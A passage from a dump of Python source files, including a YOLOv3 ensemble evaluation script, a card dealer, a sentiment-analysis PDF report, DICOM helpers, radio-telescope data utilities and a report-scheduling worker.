yolov3_tf2.dataset import transform_images\nfrom yolov3_tf2.utils import draw_outputs, majority_voting\n\nimport numpy as np #my thing to flip image\nfrom yolov3_tf2.weak_defences import WeakDefence\nimport copy\nimport time\nfrom yolov3_tf2.dataset import load_tfrecord_dataset, transform_images\n\n\nflags.DEFINE_list('wds', ['clean'], 'type the desired weak defence. type the name multiple times for multiple '\n 'instances of WD')\nflags.DEFINE_integer('gpu', None, 'set which gpu to use')\nflags.DEFINE_integer('size', 416, 'resize images to')\nflags.DEFINE_string('classes', './data/coco.names', 'path to classes file')\n#flags.DEFINE_string('input', './data/meme.jpg', 'path to input image')\nflags.DEFINE_integer('num_classes', 80, 'number of classes in the model')\nflags.DEFINE_string('dataset', './data/clean_test_set.tfrecord', 'path to dataset')\nflags.DEFINE_string('output', 'ensemble_mAP.txt', 'path to output image')\nflags.DEFINE_integer('sensitivity', 10, 'controls the sensitivity of majority voting')\nflags.DEFINE_boolean('show_img', False, 'controls weather or not images are shown')\n\n\n\ndef bb_intersection_over_union(boxA, boxB):\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n # compute the area of intersection rectangle\n interArea = max(0, xB - xA + 1) * max(0, yB - yA + 1)\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1] + 1)\n boxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the interesection area\n iou = interArea / float(boxAArea + boxBArea - interArea)\n # return the intersection over union value\n return iou\n\ndef main(_argv):\n physical_devices = tf.config.experimental.list_physical_devices('GPU')\n if (physical_devices != []) and (FLAGS.gpu is not None):\n tf.config.experimental.set_visible_devices(physical_devices[FLAGS.gpu], 'GPU')\n tf.config.experimental.set_memory_growth(physical_devices[FLAGS.gpu], True)\n else:\n tf.config.set_visible_devices([], 'GPU')\n\n models = []\n for wd in FLAGS.wds:\n wd_model = YoloV3(classes=FLAGS.num_classes)\n weights = f'./checkpoints/yolov3_{wd}/yolov3_{wd}.tf'\n wd_model.load_weights(weights).expect_partial()\n models.append(WeakDefence(wd_model, wd, FLAGS.size))\n logging.info('ensemble loaded')\n\n class_names = [c.strip() for c in open(FLAGS.classes).readlines()]\n logging.info('classes loaded')\n\n tp = 0\n fp = 0\n average_precision = 0\n average_recall = 0\n x_coordinates = []\n y_coordinates = []\n coordinates = []\n mAP = 0\n latency = 0\n average_counter = 0\n #total_mAP = 0\n #total_precission = 0\n #total_recall = 0\n\n dataset = load_tfrecord_dataset(FLAGS.dataset, FLAGS.classes, FLAGS.size)\n #dataset = dataset.shuffle(512, seed=0) # 7 is e+01\n for accuracy in range(10): #TODO: remove for loop and have iou calculated at all levels at the same time\n time1 = time.time()\n for image, labels in dataset.take(1):#100):\n boxes = []\n scores = []\n classes = []\n for x1, y1, x2, y2, label in labels:\n if x1 == 0 and x2 == 0:\n continue\n\n boxes.append((x1, y1, x2, y2))\n scores.append(1)\n classes.append(label)\n nums = [len(boxes)]\n boxes = [boxes]\n scores = [scores]\n classes = [classes]\n\n #get ground truth\n gt_boxes, gt_scores, gt_classes, gt_nums = boxes[0], scores[0], classes[0], nums[0]\n\n #get prediction\n # boxes2, scores2, classes2, nums2 = boxes[0], scores[0], classes[0], nums[0]\n img = tf.expand_dims(image, 0)\n img = transform_images(img, FLAGS.size)\n\n #boxes2, scores2, classes2, nums2 = wrapped_yolo.predict(img)\n boxes2 = []\n scores2 = []\n classes2 = []\n for model in models:\n boxes_temp, scores_temp, classes_temp, _ = model.predict(tf.identity(img))\n boxes2 = np.concatenate((boxes2, boxes_temp), axis=1) if np.size(boxes2) else boxes_temp\n scores2 = np.concatenate((scores2, scores_temp), axis=1) if np.size(scores2) else scores_temp\n classes2 = np.concatenate((classes2, classes_temp), axis=1) if np.size(classes2) else classes_temp\n\n boxes2 = np.squeeze(boxes2, axis=0)\n scores2 = np.squeeze(scores2, axis=0)\n classes2 = np.squeeze(classes2, axis=0)\n\n selected_indices, selected_scores = tf.image.non_max_suppression_with_scores(\n boxes2, scores2, max_output_size=100, iou_threshold=0.5, score_threshold=0.5, soft_nms_sigma=0.5)\n\n num_valid_nms_boxes = tf.shape(selected_indices)[0]\n\n selected_indices = tf.concat(\n [selected_indices, tf.zeros(FLAGS.yolo_max_boxes - num_valid_nms_boxes, tf.int32)], 0)\n selected_scores = tf.concat(\n [selected_scores, tf.zeros(FLAGS.yolo_max_boxes - num_valid_nms_boxes, tf.float32)], -1)\n\n boxes2 = tf.gather(boxes2, selected_indices)\n boxes2 = tf.expand_dims(boxes2, axis=0)\n scores2 = selected_scores\n scores2 = tf.expand_dims(scores2, axis=0)\n classes2 = tf.gather(classes2, selected_indices)\n classes2 = tf.expand_dims(classes2, axis=0)\n valid_detections = num_valid_nms_boxes\n valid_detections = tf.expand_dims(valid_detections, axis=0)\n #print(boxes2, scores2, classes2, valid_detections)\n if tf.equal(valid_detections,0):\n #boxes2, scores2, classes2, valid_detections = boxes, scores, classes, valid_detections\n boxes2, scores2, classes2, valid_detections = tf.zeros([1,100,4], tf.float32), tf.zeros([1,100], tf.float32), tf.zeros([1,100], tf.int64), tf.zeros([1,], tf.int32)\n else:\n boxes2, scores2, classes2, valid_detections = majority_voting((boxes2, scores2, classes2, valid_detections), FLAGS.size, FLAGS.sensitivity)\n\n pred_boxes, pred_scores, pred_classes, pred_nums = boxes2[0], scores2[0], classes2[0], valid_detections[0]\n\n\n # calculate the number of miss classified objects\n #fp += nums2 - nums\n\n for i in range(pred_nums):\n for j in range(gt_nums):\n gt_cls = tf.cast(gt_classes[j], dtype=tf.int64)\n pred_cls = tf.cast(pred_classes[i], dtype=tf.int64)\n if tf.math.not_equal(gt_cls, pred_cls): #tf.math.not_equal(classes[j], classes2[i])\n pass\n iou = bb_intersection_over_union(gt_boxes[j], pred_boxes[i])\n if iou >= (0.5 + (0.05 * accuracy)):\n tp += 1\n fp -= 1\n break\n fp += 1\n\n precision = tp / (tp + fp) if (fp + tp) != 0 else 0\n recall = tp / gt_nums if gt_nums != 0 else 0\n #print('TP = ', tp, 'FP = ', fp)\n #print('precision = ', precision, 'recall = ', recall)\n\n if FLAGS.show_img:\n image = cv2.cvtColor(image.numpy() / 255, cv2.COLOR_RGB2BGR)\n img1 = draw_outputs(copy.copy(image), (boxes, scores, classes, nums), class_names)\n img2 = draw_outputs(copy.copy(image), (boxes2, scores2, classes2, valid_detections), class_names)\n img_all = np.concatenate((img1, img2), axis=1)\n img_all = cv2.putText(img_all, f'TP = {tp} FP = {fp} precision = {precision} recall = {recall}', (0, 30),\n cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0, 0, 255), 2)\n\n while True:\n cv2.imshow('out', img_all)\n if cv2.waitKey(1) == ord('q'):\n break\n\n tp = 0\n fp = 0\n average_precision += precision\n average_recall += recall\n coordinates.append([recall, precision])\n average_counter += 1\n\n coordinates = sorted(coordinates, key=lambda k: [k[0], k[1]])\n x_coordinates, y_coordinates = list(map(lambda c: c[0], coordinates)), list(map(lambda c: c[1], coordinates))\n\n mAP += np.trapz(y=y_coordinates, x=x_coordinates)\n time2 = time.time()\n latency += time2 - time1\n\n file_object = open(FLAGS.output, 'a')\n mAP = mAP / 10\n latency = latency / 10\n average_precision = average_precision / average_counter\n average_recall = average_recall / average_counter\n file_object.write(f'\\n{FLAGS.wds} mAP: {mAP} average_precision: {average_precision} average_recall: {average_recall} latency: {latency}')\n file_object.close()\n\n\n\n\n\n\nif __name__ == '__main__':\n try:\n app.run(main)\n except SystemExit:\n pass\n\n\n\n\n\n\n","sub_path":"src/ensemble_accuracy.py","file_name":"ensemble_accuracy.py","file_ext":"py","file_size_in_byte":9426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"251931492","text":"import random\n\nplayer_num = int(input('Enter player nums: '))\nplayers = []\nfor player in range(1, player_num+1):\n players.append([])\n\ncards = []\nfor suit in range(1, 5):\n if suit == 1:\n for rank in range(1, 14):\n cards.append(('Spade', rank))\n elif suit == 2:\n for rank in range(1, 14):\n cards.append(('Heart', rank))\n elif suit == 3:\n for rank in range(1, 14):\n cards.append(('Diamond', rank))\n elif suit == 4:\n for rank in range(1, 14):\n cards.append(('Club', rank))\n\n\ndef deal_cards(person, people_nums):\n cards_on_hand = 52 // people_nums\n for i in person:\n for j in range(cards_on_hand):\n card = random.choice(cards)\n i.append(card)\n cards.remove(card)\n\n\ndeal_cards(players, player_num)\n\nfor idx in range(player_num):\n print(f\"Player{idx+1}\\'s cards: {sorted(players[idx])}\")\n","sub_path":"deal all cards.py","file_name":"deal all cards.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"21489297","text":"import numpy as np\n\nfrom Values import *\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nfrom fpdf import FPDF\nimport matplotlib.pyplot as plt\nfrom datetime import date\n\n\n\ndef graphStuff():\n height = [pos, neg]\n bars = ('Positive', 'Negative')\n y_pos = np.arange(len(bars))\n plt.figure(figsize=(7, 6), dpi=80)\n # Create bars\n plt.bar(y_pos, height)\n\n # Create names on the x-axis\n plt.xticks(y_pos, bars)\n\n # save graph as a pdf then add it to the main pdf file\n plt.savefig(\"/Users/TheWalrus/Downloads/SentimentScraping/barchart.png\")\n pdf.image('/Users/TheWalrus/Downloads/SentimentScraping/barchart.png')\n\n\ndef checkInput(message):\n message = message.upper()\n message = message.replace(\"PARTY\", \"DRINK\")\n message = message.replace(\"PARTYING\", \"DRINKING\")\n\n\ndef sentiment(message_text, website_text):\n # next, we initialize VADER so we can use it within our Python script\n sid = SentimentIntensityAnalyzer()\n # the variable 'message_text' now contains the text we will analyze.\n # Calling the polarity_scores method on sid and passing in the message_text outputs a dictionary with negative,\n # neutral, positive, and compound scores for the input text\n scores = sid.polarity_scores(message_text)\n list_scores = list(scores.values())\n print(list_scores)\n # add values to a an object instead of an array\n # i dont know why it is this order but it works\n values.append(Values(list_scores[3], list_scores[0], list_scores[1], list_scores[2], website_text))\n\n\n# VADER also sums all weighted scores to calculate a “compound” value normalized between -1 and 1;\n# this value attempts to describe the overall affect of the entire text from strongly negative (-1) to\n# strongly positive (1).\nreviews_list = []\nwebsite_list = []\nvalues = [] # holds the segimented values\n\n# pdf stuff\npdf = FPDF()\npdf.add_page()\npdf.set_font(\"Arial\", size=16)\n\n# read in data from scraping\nfile_reviews = open(\"/Users/TheWalrus/Downloads/SentimentScraping/finalOutput.txt\", \"r\")\nreview = file_reviews.readline()\nwebsite = file_reviews.readline()\n\nwhile review != \"\" or review == \"\\n\":\n reviews_list.append(review)\n review = file_reviews.readline()\n website_list.append(website)\n website = file_reviews.readline()\n\n\n# header\npdf.cell(0, 10, \"University of Pittsburgh Daily Reviews \" + str(date.today()), 0, 1, \"C\")\n\n# counts how many pos, neg, and neutral reviews\npos = 0\nneg = 0\nfor i in range(0, len(reviews_list)):\n sentiment(reviews_list[i], website_list[i])\n # prints the output of the segmentation analysis\n # determine if the review is pos, neg, or neu ands 1 for the graph\n if (getattr(values[i], 'compound')) != 0.0:\n pdf.multi_cell(0, 5, reviews_list[i])\n pdf.multi_cell(0, 8, str(values[i]), 0, 3)\n pdf.cell(0, 8, \"\", 0, 2) # adds a space between reviews\n\n if (getattr(values[i], 'compound')) > .01:\n pos += 1\n elif (getattr(values[i], 'compound')) < -.01:\n neg += 1\n\ngraphStuff()\n\npdf.output(\"/Users/TheWalrus/Downloads/SentimentScraping/output.pdf\")\n","sub_path":"Software-Engineering/Final Project/Sentiment Analysis/sentimentAnalysis.py","file_name":"sentimentAnalysis.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"75699664","text":"import requests\nfrom feedparser import parse\nfrom requests.exceptions import RequestException\n\n\nclass Connector:\n \"\"\" Class for handling requests to the server \"\"\"\n\n def __init__(self, url, logger):\n self.url = url\n self.__logger = logger\n self.response_text = None\n self.is_connect = self.is_connect()\n\n def is_connect(self):\n \"\"\"\n Server connection check\n :return: boolean value\n \"\"\"\n self.__logger.debug('Checking the connection to the server...')\n try:\n resp = requests.get(self.url)\n resp.raise_for_status()\n self.__logger.debug('Connection detected.')\n if len(parse(resp.text)['entries']) == 0:\n self.__logger.error('Invalid URL. RSS feed not found.')\n return False\n else:\n self.response_text = resp.text\n return True\n\n except RequestException:\n self.__logger.error('Connection not detected.')\n return False\n","sub_path":"rss_reader/modules/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"624861031","text":"import moto\nimport pytest\n\nfrom falcon_lambda.utils import aws\n\n\n@pytest.mark.parametrize('kwargs,expected', [\n (\n {'service': 'sns', 'name': 'test_topic'},\n 'arn:aws:sns:us-east-1:123456789012:test_topic'\n ),\n (\n {'service': 'iam', 'name': 'thing', 'type': 'role'},\n 'arn:aws:iam::123456789012:role/thing'\n ),\n (\n {'service': 'lambda', 'name': 'thing'},\n 'arn:aws:lambda:us-east-1:123456789012:function:thing'\n ),\n\n])\n@moto.mock_sts\ndef test_arn_building(kwargs, expected):\n arn = aws.build_arn(**kwargs)\n assert arn == expected\n","sub_path":"tests/utils/test_aws.py","file_name":"test_aws.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"236660477","text":"from typing import Optional, Union\n\nimport pydicom\n\n\nclass CodeSequence(pydicom.Sequence):\n \"\"\"Helper class for constructing a DICOM CodeSequence.\"\"\"\n def __init__(self,\n value: str,\n scheme_designator: str,\n meaning: str):\n \"\"\"Creates a code sequence from mandatory arguments.\n\n Args:\n value: (0x0008, 0x0100) CodeValue\n scheme_designator: (0x0008, 0x0102) CodingSchemeDesignator\n meaning: (0x0008, 0x0104) CodeMeaning\n \"\"\"\n super().__init__()\n ds = pydicom.Dataset()\n ds.CodeValue = value\n ds.CodingSchemeDesignator = scheme_designator\n ds.CodeMeaning = meaning\n self.append(ds)\n\n\nclass DimensionOrganizationSequence(pydicom.Sequence):\n def add_dimension(self,\n dimension_index_pointer: Union[str, pydicom.tag.Tag],\n functional_group_pointer: Optional[Union[str, pydicom.tag.Tag]] = None):\n ds = pydicom.Dataset()\n if len(self) > 0:\n ds.DimensionOrganizationUID = self[0].DimensionOrganizationUID\n else:\n ds.DimensionOrganizationUID = pydicom.uid.generate_uid()\n\n if isinstance(dimension_index_pointer, str):\n dimension_index_pointer = pydicom.tag.Tag(\n pydicom.datadict.tag_for_keyword(dimension_index_pointer)\n )\n ds.DimensionIndexPointer = dimension_index_pointer\n ds.DimensionDescriptionLabel = pydicom.datadict.keyword_for_tag(\n dimension_index_pointer\n ) or f'Unknown tag {dimension_index_pointer}'\n\n if functional_group_pointer is not None:\n if isinstance(functional_group_pointer, str):\n functional_group_pointer = pydicom.tag.Tag(\n pydicom.datadict.tag_for_keyword(functional_group_pointer)\n )\n ds.FunctionalGroupPointer = functional_group_pointer\n\n self.append(ds)\n","sub_path":"pydicom_seg/dicom_utils.py","file_name":"dicom_utils.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"97964244","text":"#class keyword is used to create your own classes in python ,just like the sets,lists,tuples etc. .these classes are also known as objects and this type of programming involving the creation of your own classes or objects is known as object oriented programming or oops....#\nclass football_team: #Here the new object created is the football_team which contain an attribute which tells about the league of the football team #\n def __init__(self,league,pos):\n self.league=league\n self.pos=pos\n\n\narsenal=football_team(league = 'bpl',pos=4)\nbarca=football_team(league = 'la_liga',pos=1)\n\nprint('Arsenal play in {} and its position in league is {}'.format(arsenal.league,arsenal.pos))\nprint('FC Barcelona play in {} and its position in league is {}'.format(barca.league,barca.pos))","sub_path":"advcbv2/basic_app/templates/basic_app/pythdjango/oops.py","file_name":"oops.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"645912852","text":"def newton_rapson(func, x=0, it=10, h=0.00000001):\n \"\"\"\n :param func: the function to get it's roots \n :param x: starting guess(default=0)\n :param it: the number of iterations(default=10)\n :param h: accuracy factor of the method (default=0.00000001)\n :return: An estimated root of the funtion\n \"\"\"\n print(\"initial guess: {}\".format(x))\n def der(f, h):\n print (\"f(x0+{0})-f(x0)/{0}\".format(h))\n return lambda x0: (f(x0 + h) - f(x0)) / h\n\n if der(func, h)(x) == 0:\n x = 1\n for i in range(it):\n fd = func(x)\n ft = der(func, h)(x)\n x = x - (fd / ft)\n print (\"{})guess={}\".format(i+1,x))\n\n return x\n\nprint (newton_rapson(lambda x: x*x*x+2*x*x+10*x-20 ,-10,10,0.0001))\n","sub_path":"NewtonRapson.py","file_name":"NewtonRapson.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"518552810","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author: Tomas Cassanelli\nimport os\nfrom astropy.io import fits\nimport numpy as np\nfrom astropy.io import ascii\nfrom scipy.constants import c as light_speed\nfrom .aperture import illum_gauss, illum_pedestal\n\n__all__ = [\n 'extract_data_pyoof', 'extract_data_effelsberg', 'str2LaTeX',\n 'store_data_csv', 'uv_ratio', 'illum_strings', 'store_data_ascii'\n ]\n\n\ndef illum_strings(illum_func):\n \"\"\"\n It assigns string labels to the illumination function. The `~pyoof` package\n has two standard illumination functions, `~pyoof.aperture.illum_pedestal`\n and `~pyoof.aperture.illum_gauss`.\n\n Parameters\n ----------\n illum_func : `function`\n Illumination function, :math:`E_\\\\mathrm{a}(x, y)`, to be evaluated\n with ``I_coeff``. The illumination functions available are\n `~pyoof.aperture.illum_pedestal` and `~pyoof.aperture.illum_gauss`.\n\n Returns\n -------\n illum_name : `str`\n String with the illumination function name.\n taper_name : `str`\n String with the illumination function taper.\n \"\"\"\n\n # adding illumination function information\n if illum_func == illum_pedestal:\n illum_name = 'pedestal'\n taper_name = 'c_dB'\n elif illum_func == illum_gauss:\n illum_name = 'gauss'\n taper_name = 'sigma_dB'\n else:\n illum_name = 'manual'\n taper_name = 'taper_dB'\n\n return illum_name, taper_name\n\n\ndef extract_data_pyoof(pathfits):\n \"\"\"\n Extracts data from the `~pyoof` default fits file OOF holography\n observations, ready to use for the least squares minimization (see\n `~pyoof.fit_beam`). The fits file has to have the following keys on its\n PrimaryHDU header: ``'FREQ'``, ``'WAVEL'``, ``'MEANEL'``, ``'OBJECT'`` and\n ``'DATE_OBS'``. Besides this three BinTableHDU are required for the data\n itself; ``MINUS OOF``, ``ZERO OOF`` and ``PLUS OOF``. The BinTableHDU\n header has to have the ``'DZ'`` key which includes the radial offset,\n :math:`d_z`. Finally the BinTableHDU has the data files ``'U'``, ``'V'``\n and ``'BEAM'``, which is the :math:`x`- and :math:`y`-axis position in\n radians and the ``'BEAM'`` in a flat array, in mJy.\n\n Parameters\n ----------\n pathfits : `str`\n Path to the fits file that contains the three beam maps pre-calibrated,\n using the correct PrimaryHDU and the three BinTableHDU (``MINUS OOF``,\n ``ZERO OOF`` and ``PLUS OOF``).\n\n Returns\n -------\n data_info : `list`\n It contains all extra data besides the beam map. The output\n corresponds to a list,\n ``[name, pthto, obs_object, obs_date, freq, wavel, d_z, meanel]``.\n These are, name of the fits file, paht of the fits file, observed\n object, observation date, frequency, wavelength, radial offset and\n mean elevation, respectively.\n data_obs : `list`\n It contains beam maps and :math:`x`-, and :math:`y`-axis\n (:math:`uv`-plane in Fourier space) data for the least squares\n minimization (see `~pyoof.fit_beam`). The list has the following order\n ``[beam_data, u_data, v_data]``. ``beam_data`` is the three beam\n observations, minus, zero and plus out-of-focus, in a flat array.\n ``u_data`` and ``v_data`` are the beam axes in a flat array.\n \"\"\"\n\n hdulist = fits.open(pathfits) # open fits file, pyoof format\n # path or directory where the fits file is located\n pthto = os.path.split(pathfits)[0]\n # name of the fit file to fit\n name = os.path.split(pathfits)[1][:-5]\n\n if not all(\n k in hdulist[0].header\n for k in ['FREQ', 'WAVEL', 'MEANEL', 'OBJECT', 'DATE_OBS']\n ):\n raise TypeError('Not all necessary keys found in FITS header.')\n\n freq = hdulist[0].header['FREQ']\n wavel = hdulist[0].header['WAVEL']\n meanel = hdulist[0].header['MEANEL']\n obs_object = hdulist[0].header['OBJECT']\n obs_date = hdulist[0].header['DATE_OBS']\n\n beam_data = [hdulist[i].data['BEAM'] for i in range(1, 4)]\n u_data = [hdulist[i].data['U'] for i in range(1, 4)]\n v_data = [hdulist[i].data['V'] for i in range(1, 4)]\n d_z = [hdulist[i].header['DZ'] for i in range(1, 4)]\n\n data_file = [name, pthto]\n data_info = data_file + [obs_object, obs_date, freq, wavel, d_z, meanel]\n data_obs = [beam_data, u_data, v_data]\n\n return data_info, data_obs\n\n\ndef extract_data_effelsberg(pathfits):\n \"\"\"\n Extracts data from the Effelsberg OOF holography observations, ready to\n use for the least squares minimization. This function will only work for\n the Effelsberg telescope beam maps.\n\n Parameters\n ----------\n pathfits : `str`\n Path to the fits file that contains the three beam maps pre-calibrated,\n from the Effelsberg telescope.\n\n Returns\n -------\n data_info : `list`\n It contains all extra data besides the beam map. The output\n corresponds to a list,\n ``[name, pthto, obs_object, obs_date, freq, wavel, d_z, meanel]``.\n These are, name of the fits file, paht of the fits file, observed\n object, observation date, frequency, wavelength, radial offset and\n mean elevation, respectively.\n data_obs : `list`\n It contains beam maps and :math:`x`-, and :math:`y`-axis\n (:math:`uv`-plane in Fourier space) data for the least squares\n minimization (see `~pyoof.fit_beam`). The list has the following order\n ``[beam_data, u_data, v_data]``. ``beam_data`` is the three beam\n observations, minus, zero and plus out-of-focus, in a flat array.\n ``u_data`` and ``v_data`` are the beam axes in a flat array.\n \"\"\"\n\n # Opening fits file with astropy\n try:\n # main fits file with the OOF holography format\n hdulist = fits.open(pathfits)\n\n # Observation frequency\n freq = hdulist[0].header['FREQ'] # Hz\n wavel = light_speed / freq\n\n # Mean elevation\n meanel = hdulist[0].header['MEANEL'] # Degrees\n obs_object = hdulist[0].header['OBJECT'] # observed object\n obs_date = hdulist[0].header['DATE_OBS'] # observation date\n d_z = [hdulist[i].header['DZ'] for i in range(1, 4)][::-1]\n\n beam_data = [hdulist[i].data['fnu'] for i in range(1, 4)][::-1]\n u_data = [hdulist[i].data['DX'] for i in range(1, 4)][::-1]\n v_data = [hdulist[i].data['DY'] for i in range(1, 4)][::-1]\n\n except FileNotFoundError:\n print('Fits file does not exists in directory: ' + pathfits)\n except NameError:\n print('Fits file does not have the OOF holography format')\n\n else:\n pass\n\n # Permuting the position to provide same as main_functions\n beam_data.insert(1, beam_data.pop(2))\n u_data.insert(1, u_data.pop(2))\n v_data.insert(1, v_data.pop(2))\n d_z.insert(1, d_z.pop(2))\n\n # path or directory where the fits file is located\n pthto = os.path.split(pathfits)[0]\n # name of the fit file to fit\n name = os.path.split(pathfits)[1][:-5]\n\n data_info = [name, pthto, obs_object, obs_date, freq, wavel, d_z, meanel]\n data_obs = [beam_data, u_data, v_data]\n\n return data_info, data_obs\n\n\ndef str2LaTeX(python_string):\n \"\"\"\n Function that solves the underscore problem in a python string to\n :math:`\\\\LaTeX` string.\n\n Parameters\n ----------\n python_string : `str`\n String that needs to be changed.\n\n Returns\n -------\n LaTeX_string : `str`\n String with the new underscore symbol.\n \"\"\"\n\n string_list = list(python_string)\n for idx, string in enumerate(string_list):\n if string_list[idx] == '_':\n string_list[idx] = '\\\\_'\n\n LaTeX_string = ''.join(string_list)\n\n return LaTeX_string\n\n\ndef store_data_csv(name, name_dir, order, save_to_csv):\n \"\"\"\n Stores all important information in a csv file after the least squares\n minimization has finished, `~pyoof.fit_beam`. All data will be stores in\n the ``pyoof_out/name`` directory, with ``name`` the name of the fits file.\n\n Parameters\n ----------\n name : `str`\n File name of the fits file to be optimized.\n name_dir : `str`\n Path to store all the csv files. The files will depend on the order of\n the Zernike circle polynomial.\n order : `int`\n Order used for the Zernike circle polynomial, :math:`n`.\n save_to_csv : `list`\n It contains all data that will be stored. The list must have the\n following order, ``[beam_data, u_data, v_data, res_optim, jac_optim,\n grad_optim, phase, cov_ptrue, corr_ptrue]``.\n \"\"\"\n\n headers = [\n 'Normalized beam', 'u vector radians', 'v vector radians', 'Residual',\n 'Jacobian', 'Gradient', 'Phase primary reflector radians',\n 'Variance-Covariance matrix (first row fitted parameters idx)',\n 'Correlation matrix (first row fitted parameters idx)'\n ]\n\n fnames = [\n '/beam_data.csv', '/u_data.csv', '/v_data.csv',\n '/res_n{}.csv'.format(order), '/jac_n{}.csv'.format(order),\n '/grad_n{}.csv'.format(order), '/phase_n{}.csv'.format(order),\n '/cov_n{}.csv'.format(order), '/corr_n{}.csv'.format(order)\n ]\n\n if order != 1:\n headers = headers[3:]\n fnames = fnames[3:]\n save_to_csv = save_to_csv[3:]\n\n for fname, header, file in zip(fnames, headers, save_to_csv):\n np.savetxt(\n fname=name_dir + fname,\n X=file,\n header=header + ' ' + name\n )\n\n\ndef store_data_ascii(\n name, name_dir, taper_name, order, params_solution, params_init\n ):\n \"\"\"\n Stores in an ascii format the parameters found by the least squares\n minimization (see `~pyoof.fit_beam`).\n\n Parameters\n ----------\n name : `str`\n File name of the fits file to be optimized.\n name_dir : `str`\n Path to store all the csv files. The files will depend on the order of\n the Zernike circle polynomial.\n taper_name : `str`\n Name of the illumination function taper.\n order : `int`\n Order used for the Zernike circle polynomial, :math:`n`.\n params_solution : `~numpy.ndarray`\n Contains the best fitted parameters, the illumination function\n coefficients, ``I_coeff`` and the Zernike circle polynomial\n coefficients, ``K_coeff`` in one array.\n params_init : `~numpt.ndarray`\n Contains the initial parameters used in the least squares minimization\n to start finding the best fitted combination of them.\n \"\"\"\n\n n = order\n N_K_coeff = (n + 1) * (n + 2) // 2\n\n # Making nice table :)\n ln = [(j, i) for i in range(0, n + 1) for j in range(-i, i + 1, 2)]\n L = np.array(ln)[:, 0]\n N = np.array(ln)[:, 1]\n\n params_names = ['i_amp', taper_name, 'x_0', 'y_0']\n for i in range(N_K_coeff):\n params_names.append('K({}, {})'.format(N[i], L[i]))\n\n # To store fit information and found parameters in ascii file\n ascii.write(\n table=[params_names, params_solution, params_init],\n output=name_dir + '/fitpar_n{}.csv'.format(n),\n names=['parname', 'parfit', 'parinit'],\n comment='Fitted parameters ' + name\n )\n\n\ndef uv_ratio(u, v):\n \"\"\"\n Calculates the aspect ratio for the 3 power pattern plots, plus some\n corrections for the text on it. Used in the `function` `~pyoof.plot_beam`\n and `~pyoof.plot_data`\n\n Parameters\n ----------\n u : `~numpy.ndarray`\n Spatial frequencies from the power pattern, usually in degrees.\n v : `~numpy.ndarray`\n Spatial frequencies from the power pattern, usually in degrees.\n\n Returns\n -------\n plot_width : `float`\n Width for the power pattern figure.\n plot_height : `float`\n Height for the power pattern figure.\n \"\"\"\n\n ratio = (v.max() - v.min()) / (3 * (u.max() - u.min()))\n width = 14\n height = width * (ratio) + 0.2\n\n return width, height\n","sub_path":"pyoof/aux_functions.py","file_name":"aux_functions.py","file_ext":"py","file_size_in_byte":11965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"67517837","text":"import os, sys\nsys.path.append(os.getcwd())\n\nimport random as ran\nfrom messages import strings\n\n\ndef xyTuple(xmax, ymax):\n return {'x': ran.randint(0, xmax - 1),\n 'y': ran.randint(0, ymax - 1)}\n\ndef findStreamEnd(grid, x, y, stream):\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if (grid[i][j] == stream and not (y == i and x == j)):\n return {'x': j,\n 'y': i}\n print('findStreamEnd failed')\n\ndef randomArray(size):\n array = []\n while (len(array) < size):\n randomint = ran.randint(1, size)\n if (randomint not in array):\n array.append(randomint)\n return array\n\ndef debugShowState(grid, x, y):\n originaltile = grid[y][x]\n grid[y][x] = 'U'\n print(strings.debugmessage)\n print(grid)\n grid[y][x] = originaltile","sub_path":"grid/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"448019852","text":"\"\"\" statsAPI.reporting.workers\n\n This module implements the worker object used by the statsAPI reporting\n system. Note that we use the \"workers\" application to run our worker in a\n cron job.\n\"\"\"\nimport datetime\nimport logging\nimport string\nimport time\n\nimport simplejson as json\n\nfrom django.utils import timezone\n\nfrom statsAPI.workers.base import Worker\n\nfrom statsAPI.reporting.models import *\nfrom statsAPI.reporting import reportTypes\n\n#############################################################################\n\nlogger = logging.getLogger(__name__)\n\n#############################################################################\n\nclass ScheduledReportWorker(Worker):\n \"\"\" A Worker object that runs our scheduled reports.\n\n This is called periodically to run any scheduled reports which are now\n due. Note that we simply call the \n \"\"\"\n def run(self):\n \"\"\" Run our worker.\n \"\"\"\n now = timezone.localtime(timezone.now())\n\n reports_to_run = []\n for report in ScheduledReport.objects.filter(scheduled_for__lte=now):\n reports_to_run.append(report)\n\n for report in reports_to_run:\n logger.info(\"Running scheduled report '%s'\" % report.name)\n\n # Get the information we need to run this report.\n\n report_module = reportTypes.get_report_module(report.type)\n params = json.loads(report.params)\n\n # Run the report, and deal with the aftermath.\n\n success,response = report_module.generate(params)\n\n if success:\n 